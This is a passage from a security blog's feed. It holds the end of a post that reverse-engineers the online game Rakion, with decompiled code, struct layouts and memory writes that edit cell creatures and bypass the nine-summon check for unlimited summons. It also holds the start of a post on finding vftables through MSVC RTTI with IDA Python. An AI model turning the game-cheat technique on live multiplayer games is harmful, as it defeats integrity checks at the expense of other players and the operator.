      <span class="n">INDEX</span> <span class="o">=</span> <span class="p">(</span><span class="n">CWorld</span> <span class="o">*</span><span class="p">)</span><span class="n">CShell</span><span class="o">::</span><span class="n">GetINDEX</span><span class="p">(</span><span class="n">_pShell</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="nc">CTString</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v18</span><span class="p">);</span>
      <span class="n">v22</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
      <span class="n">CTString</span><span class="o">::~</span><span class="n">CTString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">v18</span><span class="p">);</span>
      <span class="n">CreatureStr</span> <span class="o">=</span> <span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="nc">CTString</span> <span class="o">*</span><span class="p">)</span><span class="n">GetCreatureStr</span><span class="p">(</span><span class="n">v17</span><span class="p">,</span> <span class="n">a1</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
      <span class="c1">// [...]</span>
</code></pre></div></div>

<p>In 2012-may version, <code class="language-plaintext highlighter-rouge">CPlayer::SpawnNPC_n</code> doesn’t exist, but <code class="language-plaintext highlighter-rouge">sub_35158F20(a2, a3, i);</code>(2015-dic version) does exist, and is in <code class="language-plaintext highlighter-rouge">void __cdecl sub_350E3260(int *a1, int a2)</code> (2012-may version). Almost, there is a crossreference from <code class="language-plaintext highlighter-rouge">CPlayer::ButtonsActions</code>. With a quick analize I can conclude both functions have as first argument <code class="language-plaintext highlighter-rouge">struct CellInfo*</code> type, and the second is <code class="language-plaintext highlighter-rouge">struct CPlayer*</code> type.</p>

<p>Reviewing the function caller <code class="language-plaintext highlighter-rouge">CPlayer::ButtonsActions</code></p>

<p>2012-may version:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">v7</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_351DBF00</span><span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mh">0x980</span><span class="p">),</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mh">0x982</span><span class="p">),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mh">0x26B0</span><span class="p">);</span>
      <span class="n">v8</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">v7</span> <span class="o">&amp;&amp;</span> <span class="n">v7</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">&lt;</span> <span class="mi">47</span> <span class="p">)</span>
      <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">CEntity</span><span class="o">::</span><span class="n">IsLocalEntity</span><span class="p">(</span><span class="k">this</span><span class="p">)</span> <span class="p">)</span>
          <span class="n">sub_350E3260</span><span class="p">(</span><span class="n">v8</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="k">this</span><span class="p">);</span>
      <span class="p">}</span>
</code></pre></div></div>

<p>2015-dic version:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">v10</span> <span class="o">=</span> <span class="n">sub_3530DAA0</span><span class="p">(</span><span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mh">0x9AE</span><span class="p">),</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mh">0x9B0</span><span class="p">),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mh">0x2778</span><span class="p">);</span>
      <span class="n">v11</span> <span class="o">=</span> <span class="n">v10</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">v10</span> <span class="p">)</span>
      <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">v10</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">160</span> <span class="o">&amp;&amp;</span> <span class="n">CEntity</span><span class="o">::</span><span class="n">IsLocalEntity</span><span class="p">(</span><span class="k">this</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">CPlayer</span><span class="o">::</span><span class="n">GetFieldInfo</span><span class="p">()</span> <span class="o">+</span> <span class="mi">313</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span>
        <span class="p">{</span>
          <span class="n">v12</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">CPlayer</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">CPlayer</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="k">this</span> <span class="o">+</span> <span class="mi">484</span><span class="p">);</span>
          <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v11</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="mi">14</span> <span class="p">)</span>
            <span class="n">v12</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">v11</span><span class="p">,</span> <span class="k">this</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
          <span class="k">else</span>
            <span class="n">v12</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="n">v11</span><span class="p">,</span> <span class="k">this</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>
      <span class="p">}</span>
</code></pre></div></div>

<p>The third argument of <code class="language-plaintext highlighter-rouge">sub_351DBF00</code> (2012-may version), and <code class="language-plaintext highlighter-rouge">sub_3530DAA0</code> (2015-dic version) is a buffer, and also is the value returned. That buffer is <code class="language-plaintext highlighter-rouge">struct CellInfo*</code> or <code class="language-plaintext highlighter-rouge">cplayer-&gt;CellInfo</code>. Let’s see it.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#ifdef 2012_MAY
</span><span class="k">struct</span> <span class="nc">CellInfoBySlot</span><span class="p">{</span>
  <span class="n">DWORD</span>   <span class="n">n_slot</span><span class="p">;</span> <span class="c1">// 0 to 3</span>
  <span class="k">enum</span> <span class="n">CellType</span> <span class="n">cell_type</span><span class="p">;</span>
  <span class="n">DWORD</span>   <span class="n">unknow1</span><span class="p">;</span>
  <span class="n">DWORD</span>   <span class="n">unknow2</span><span class="p">;</span> <span class="c1">// flags?</span>
  <span class="n">DWORD</span>   <span class="n">unknow3</span><span class="p">;</span>
  <span class="kt">float</span>   <span class="n">cell_points_cost</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">cell_level</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">unknow4</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">unknow5</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">unknow6</span><span class="p">;</span>
  <span class="n">DWORD</span>   <span class="n">padding</span><span class="p">;</span> <span class="c1">// ?</span>
<span class="p">};</span>
<span class="cp">#endif
</span>
<span class="cp">#ifdef 2015_DIC
</span><span class="k">struct</span> <span class="nc">CellInfoBySlot</span><span class="p">{</span>
  <span class="n">DWORD</span>   <span class="n">n_slot</span><span class="p">;</span>
  <span class="k">enum</span> <span class="n">CellType</span> <span class="n">cell_type</span><span class="p">;</span>
  <span class="k">enum</span>    <span class="n">state</span><span class="p">;</span>    <span class="c1">// Encrypted: 0=Not enough points; 1=available; 2=summoned</span>
  <span class="n">DWORD</span>   <span class="n">unknow1</span><span class="p">;</span>  <span class="c1">//</span>
  <span class="kt">float</span>   <span class="n">cell_points_cost</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">cell_level</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">unknow2</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">unknow3</span><span class="p">;</span>
  <span class="n">BYTE</span>    <span class="n">unknow4</span><span class="p">;</span>
  <span class="n">DWORD</span>   <span class="n">unknow5</span><span class="p">;</span>
<span class="p">};</span>
<span class="cp">#endif
</span>
<span class="k">struct</span> <span class="nc">CellInfo</span>
<span class="p">{</span>
  <span class="n">DWORD</span> <span class="n">n_slot_available</span><span class="p">;</span> <span class="c1">// 0 to 3</span>
  <span class="k">struct</span> <span class="nc">CellInfoBySlot</span> <span class="n">cell_info_by_slot</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Then, We need to do following to modify the cell creatures:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">CellInfo</span><span class="o">*</span> <span class="n">pCellInfo</span> <span class="o">=</span> <span class="n">cplayer</span><span class="o">-&gt;</span><span class="n">CellInfo</span><span class="p">;</span>
<span class="n">pCellInfo</span><span class="o">-&gt;</span><span class="n">cell_info_by_slot</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cell_type</span> <span class="o">=</span> <span class="n">RedTaurus</span><span class="p">;</span>
<span class="n">pCellInfo</span><span class="o">-&gt;</span><span class="n">cell_info_by_slot</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cell_level</span> <span class="o">=</span> <span class="mi">99</span><span class="p">;</span>
<span class="n">pCellInfo</span><span class="o">-&gt;</span><span class="n">cell_info_by_slot</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">cell_points_cost</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<div align="center"><iframe width="560" height="315" src="https://www.youtube.com/embed/2AoSPE8bWSc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe><br />
<em>Editing cell creatures in-game (2012-may version)</em>
</div>
<p><br />
Now, in 2015-dic version we have a field called <code class="language-plaintext highlighter-rouge">state</code>, if we write always <code class="language-plaintext highlighter-rouge">pCellInfo-&gt;cell_info_by_slot[0].state = available</code> the first slot will be avaible to be summoned ‘always’ :D. Anyway, there is a check to bypass, let’s review again the two functions mentioned before, <code class="language-plaintext highlighter-rouge">sub_35158F20(a2, a3, i);</code> (2015-dic version), and <code class="language-plaintext highlighter-rouge">void __cdecl sub_350E3260(int *a1, int a2)</code> (2012-may version) both of which have first argument <code class="language-plaintext highlighter-rouge">struct CellInfo*</code>.</p>

<p>2012-may version:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">sub_350E3260</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// [...]</span>
  <span class="n">v20</span> <span class="o">=</span> <span class="n">dword_353927B8</span><span class="p">;</span>
  <span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="o">**</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">**</span><span class="p">)</span><span class="n">_pRakionWorldNet</span> <span class="o">+</span> <span class="mi">8</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pRakionWorldNet</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">FieldInfo</span><span class="o">::</span><span class="n">IsRoundState</span><span class="p">(</span><span class="n">v2</span><span class="p">,</span> <span class="n">v10</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pNetwork</span> <span class="o">+</span> <span class="mi">36</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x2946</span><span class="p">)</span>
                  <span class="o">+</span> <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pNetwork</span> <span class="o">+</span> <span class="mi">36</span><span class="p">)</span>
                  <span class="o">+</span> <span class="mh">0x2947</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">9u</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">CPlacement3D</span><span class="o">::</span><span class="n">CPlacement3D</span><span class="p">(</span><span class="n">v14</span><span class="p">);</span>
      <span class="n">v3</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_350E2EF0</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v18</span><span class="p">,</span> <span class="n">a2</span><span class="p">);</span>
  <span class="c1">// [...]</span>
</code></pre></div></div>

<p>2015-dic version:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">sub_35158F20</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// [...]</span>

  <span class="n">GlobalFieldInfo</span> <span class="o">=</span> <span class="n">GetGlobalFieldInfo</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">FieldInfo</span><span class="o">::</span><span class="n">IsRoundState</span><span class="p">(</span><span class="n">GlobalFieldInfo</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">GetGlobalFieldInfo</span><span class="p">()</span> <span class="o">+</span> <span class="mi">313</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span>
      <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pNetwork</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x294C</span><span class="p">)</span> <span class="o">+</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pNetwork</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x294D</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">9u</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">CPlacement3D</span><span class="o">::</span><span class="n">CPlacement3D</span><span class="p">((</span><span class="n">CPlacement3D</span> <span class="o">*</span><span class="p">)</span><span class="n">v21</span><span class="p">);</span>
  <span class="c1">// [...]</span>
</code></pre></div></div>

<p>What does those ‘if statements’ do? Basically checks that summoned creatures are not greater than 9. ¿Why 9?, because the cell creatures <em>white</em> spawn three creatures by slot. Then, we need to write constatly 0 in that address to bypass the check, as well as force to change the slot state to available, so we will be able to perform infinite creatures summons. Only is possible to summon one time per slot while the creature is still alive in-game, but in the following video you will see that I can summon many creatures from first slot.</p>

<div align="center"><iframe width="560" height="315" src="https://www.youtube.com/embed/Xi1B2aEjiNY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe><br />
<em>Unlimited summons (2015-dic version)</em>
</div>
<p><br />
The <code class="language-plaintext highlighter-rouge">state</code> field is ‘encrypted’, I mean, that value changes constatly and it have a special way to write or read it. In a next blogpost I’ll show you how we can do that, to make others cheats or you can see my talk at Ekoparty 2022 called <a href="https://www.youtube.com/watch?v=LwOFWHnjSgA&amp;t=2s"><em>The game (life) and how to hack it</em></a> in spanish :D.</p>

<blockquote>
  <p>Written by <a href="https://twitter.com/MrNox_"><strong>Nox</strong></a></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="en" /><category term="reversing" /><summary type="html"><![CDATA[Will show how to get the player in-lobby and in game entities and how to edit cell creatures]]></summary></entry><entry xml:lang="en"><title type="html">Identifying vftables through MS’s C++ RTTI</title><link href="https://blog.rop.la/en/reversing/2022/12/13/identifying-vftables-through-ms-cpp-rtti.html" rel="alternate" type="text/html" title="Identifying vftables through MS’s C++ RTTI" /><published>2022-12-13T05:00:00+00:00</published><updated>2022-12-13T05:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2022/12/13/identifying-vftables-through-ms-cpp-rtti</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2022/12/13/identifying-vftables-through-ms-cpp-rtti.html"><![CDATA[<p><a href="https://learn.microsoft.com/en-us/cpp/cpp/run-time-type-information">Run-Time Type Information or RTTI</a>, is a mechanism that exposes object types information at runtime, used to do safe typecast, using <code class="language-plaintext highlighter-rouge">dynamic_cast&lt;&gt;</code> and to manipulate type information using <code class="language-plaintext highlighter-rouge">typeid</code> operator and  <code class="language-plaintext highlighter-rouge">std::type_info</code> class at runtime.</p>

<p>There are some RTTI data structures, but in this post we will see two of them, almost some fields are importants to know class C++ inherintance relationship, class name, and polymorphism but they probably will be treated in a future post. To clarity, I’d like to mention that MSVC 64-bit compiler has definied <code class="language-plaintext highlighter-rouge">_RTTI_RELATIVE_TYPEINFO</code> by default. In addition, Visual Studio has <a href="https://learn.microsoft.com/en-us/cpp/build/reference/gr-enable-run-time-type-information"><code class="language-plaintext highlighter-rouge">/GR</code></a> compiler option enabled by default to add run-time type information.</p>

<!--more-->

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">const</span> <span class="k">struct</span>    <span class="nc">_s_RTTICompleteObjectLocator</span>    <span class="p">{</span>
    <span class="kt">unsigned</span> <span class="kt">long</span>    <span class="n">signature</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">long</span>    <span class="n">offset</span><span class="p">;</span>
    <span class="kt">unsigned</span> <span class="kt">long</span>    <span class="n">cdOffset</span><span class="p">;</span>
<span class="cp">#if _RTTI_RELATIVE_TYPEINFO
</span>    <span class="kt">int</span>    <span class="n">pTypeDescriptor</span><span class="p">;</span>    <span class="c1">// Image relative offset of TypeDescriptor</span>
    <span class="kt">int</span>    <span class="n">pClassDescriptor</span><span class="p">;</span>    <span class="c1">// Image relative offset of _RTTIClassHierarchyDescriptor</span>
    <span class="kt">int</span>    <span class="n">pSelf</span><span class="p">;</span>    <span class="c1">// Image relative offset of this object</span>
<span class="cp">#else
</span>    <span class="n">TypeDescriptor</span><span class="o">*</span>    <span class="n">pTypeDescriptor</span><span class="p">;</span>
    <span class="n">_RTTIClassHierarchyDescriptor</span><span class="o">*</span>    <span class="n">pClassDescriptor</span><span class="p">;</span>
 <span class="cp">#if VERSP_WIN64    // TRANSITION, VSO#515783
</span>    <span class="k">const</span> <span class="n">_s_RTTICompleteObjectLocator</span><span class="o">*</span>     <span class="n">pSelf</span><span class="p">;</span>
 <span class="cp">#endif // VERSP_WIN64
#endif
</span>    <span class="p">}</span> <span class="n">_RTTICompleteObjectLocator</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="nc">TypeDescriptor</span>
<span class="p">{</span>
<span class="cp">#if defined(_WIN64) || defined(_RTTI) || defined(BUILDING_C1XX_FORCEINCLUDE)
</span>    <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">pVFTable</span><span class="p">;</span>    <span class="c1">// Field overloaded by RTTI</span>
<span class="cp">#else
</span>    <span class="kt">unsigned</span> <span class="kt">long</span>    <span class="n">hash</span><span class="p">;</span>    <span class="c1">// Hash value computed from type's decorated name</span>
<span class="cp">#endif
</span>    <span class="kt">void</span> <span class="o">*</span>    <span class="n">spare</span><span class="p">;</span>    <span class="c1">// reserved, possible for RTTI</span>
    <span class="kt">char</span> <span class="n">name</span><span class="p">[];</span>        <span class="c1">// The decorated name of the type; 0 terminated.</span>
    <span class="p">}</span> <span class="n">TypeDescriptor</span><span class="p">;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code> is used as the first entry to uses <code class="language-plaintext highlighter-rouge">typeid</code> operator, <code class="language-plaintext highlighter-rouge">dinamic_cast&lt;&gt;</code>, calculate member offsets and get multiple, virtual and single-inherintace hierarchy.  <code class="language-plaintext highlighter-rouge">TypeDescriptor</code> is a structure that allows the use of <code class="language-plaintext highlighter-rouge">typeid</code> operator through <code class="language-plaintext highlighter-rouge">std::type_info</code> class.</p>

<p>To purpose of this blogpost, I’ll use the following code:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">A</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">a</span><span class="p">;</span> <span class="p">};</span>
<span class="k">struct</span> <span class="nc">B</span> <span class="o">:</span> <span class="k">virtual</span> <span class="n">A</span> <span class="p">{</span> <span class="k">virtual</span> <span class="kt">void</span> <span class="n">f</span><span class="p">()</span> <span class="p">{</span> <span class="n">puts</span><span class="p">(</span><span class="s">"im f"</span><span class="p">);</span> <span class="p">};</span> <span class="kt">int</span> <span class="n">b</span><span class="p">;</span> <span class="p">};</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">this</code> object will have as many fields as there are class members. Almost, when RTTT is used the first field is a pointer to its vtable, also known as <code class="language-plaintext highlighter-rouge">vfptr</code>, and we can get <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code> pointer at <code class="language-plaintext highlighter-rouge">vfptr[-1]</code>: <code class="language-plaintext highlighter-rouge">static_cast&lt;_RTTICompleteObjectLocator***&gt;(pointerToObject)[0][-1];</code>. Let’s see the layout of our example.</p>

<p><img src="/assets/img/202212/b-class-object-layout.png" alt="B class object layout" class="image fit" /></p>

<p>As we can see, <code class="language-plaintext highlighter-rouge">pCOLocator</code> points to <code class="language-plaintext highlighter-rouge">B::RTTICompleteObjectLocator</code> and from there we can walk to <code class="language-plaintext highlighter-rouge">TypeDescriptor</code> structure. The <code class="language-plaintext highlighter-rouge">TypeDescriptor</code> structure has a field called <code class="language-plaintext highlighter-rouge">pVFTable</code>, and it points to <code class="language-plaintext highlighter-rouge">type_info::vftable</code>. So, we can conclude every <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code> structure can be found if we get <code class="language-plaintext highlighter-rouge">type_info::vftable</code> address and walk backwards.</p>

<p><img src="/assets/img/202212/b-to-typeinfo.png" alt="B::RTTICompleteObjectLocator to type_info::vftable" class="image fit" /></p>

<p>What’s the <code class="language-plaintext highlighter-rouge">B::TypeDescriptor</code> values?</p>

<p><img src="/assets/img/202212/typedescriptor-with-its-values.png" alt="type_info::TypeDescriptor and its values" class="image fit" /></p>

<h2 id="basic-ms-name-mangling">Basic MS name mangling</h2>
<p>MS-ABI isn’t documented, but we have effors like Clang/LLVM to make compatible compilers. MS-ABI has some symbol prefixs for <code class="language-plaintext highlighter-rouge">vftables</code>, <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code>, <code class="language-plaintext highlighter-rouge">TypeDescriptor</code>, etc. For example, the mangled name of <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor</code> is <code class="language-plaintext highlighter-rouge">??_R0?AVtype_info@@@8</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># MS-ABI
</span><span class="n">MS_ABI_VFTABLE_PREFIX</span> <span class="o">=</span> <span class="s">"??_7"</span> <span class="c1"># vftable
#MSVC_ABI_VBTABLE_PREFIX = "??_8" # vbtable
</span><span class="n">MS_ABI_RTTI_COL_PREFIX</span> <span class="o">=</span> <span class="s">"??_R4"</span> <span class="c1"># RTTI Complete Object Locator
</span><span class="n">MS_ABI_RTTI_TD_PREFIX</span> <span class="o">=</span> <span class="s">"??_R0"</span> <span class="c1"># RTTI Type Descriptor
</span><span class="n">MS_ABI_RTTI_BCD_PREFIX</span> <span class="o">=</span> <span class="s">"??_R1"</span> <span class="c1"># RTTI Base Class Descriptor
</span><span class="n">MS_ABI_RTTI_BCA_PREFIX</span> <span class="o">=</span> <span class="s">"??_R2"</span> <span class="c1"># RTTI Base Class Array
</span><span class="n">MS_ABI_RTTI_CHD_PREFIX</span> <span class="o">=</span> <span class="s">"??_R3"</span> <span class="c1"># RTTI Class Hierarchy Descriptor
</span>
<span class="c1"># type_info::TypeDescriptor mangled name
</span><span class="n">TYPEINFO_TD_MANGLED_NAME</span> <span class="o">=</span> <span class="s">"??_R0?AVtype_info@@@8"</span>
</code></pre></div></div>

<h2 id="vftables-lookup">vftables lookup</h2>
<p>As I said before, the key to find vftables is <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor</code> structure because <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor.pVFTable</code> points to <code class="language-plaintext highlighter-rouge">type_info::vftable</code> (its mangled name is <code class="language-plaintext highlighter-rouge">??_7type_info@@6B@</code>). In the following image you can see structure relationship</p>

<p><img src="/assets/img/202212/xrefs-to-vfptr-type_info-vftable.png" alt="xrefs to type_info::vftable" class="image fit" /></p>

<p>In resume, we need the <code class="language-plaintext highlighter-rouge">type_info::vftable</code> address, to get whole crossreferences because every <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor.pVFTable</code> field structure points there. After that, get the crossreferences of <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor</code> because <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator.pTypeDescriptor</code> points there. Finally, get the whole crossreferences of <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code> to get the address one by one, add it <code class="language-plaintext highlighter-rouge">sizeof(void*)</code>, compare if the prefix is <code class="language-plaintext highlighter-rouge">'??_7</code> and reach our goal, get whole vftables :D.</p>

<ol>
  <li>Lookup <code class="language-plaintext highlighter-rouge">type_info::vftable</code> address
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="n">type_info_vftable_addr</span> <span class="o">=</span> <span class="n">helper</span><span class="p">.</span><span class="n">read_xword</span><span class="p">(</span>
         <span class="n">ida_name</span><span class="p">.</span><span class="n">get_name_ea</span><span class="p">(</span>
             <span class="n">idaapi</span><span class="p">.</span><span class="n">BADADDR</span><span class="p">,</span>
             <span class="n">TYPEINFO_TD_MANGLED_NAME</span><span class="p">))</span>
</code></pre></div>    </div>
  </li>
  <li>Get <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor</code> crossreferences
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="n">type_descriptor_xrefs</span> <span class="o">=</span> <span class="n">helper</span><span class="p">.</span><span class="n">get_xrefs_to</span><span class="p">(</span><span class="n">type_info_vftable_addr</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
  <li>Search <code class="language-plaintext highlighter-rouge">RTTICompleteObjectLocator</code> through <code class="language-plaintext highlighter-rouge">type_info::TypeDescriptor</code> crossreferences
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>     <span class="k">for</span> <span class="n">type_descriptor_xref_addr</span> <span class="ow">in</span> <span class="n">type_descriptor_xrefs</span><span class="p">:</span>
         <span class="c1"># possible RTTICompleteObjectLocator.TypeDescriptor 
</span>         <span class="n">rtti_col__type_descriptor_xrefs</span> <span class="o">=</span> <span class="n">helper</span><span class="p">.</span><span class="n">get_xrefs_to</span><span class="p">(</span><span class="n">type_descriptor_xref_addr</span><span class="p">)</span>

         <span class="k">for</span> <span class="n">rtti_col__type_descriptor_xref_addr</span> <span class="ow">in</span> <span class="n">rtti_col__type_descriptor_xrefs</span><span class="p">:</span>
             <span class="c1"># possible beginning of RTTICompleteObjetLocator
</span>             <span class="n">rtti_col_addr</span> <span class="o">=</span> <span class="n">rtti_col__type_descriptor_xref_addr</span> \
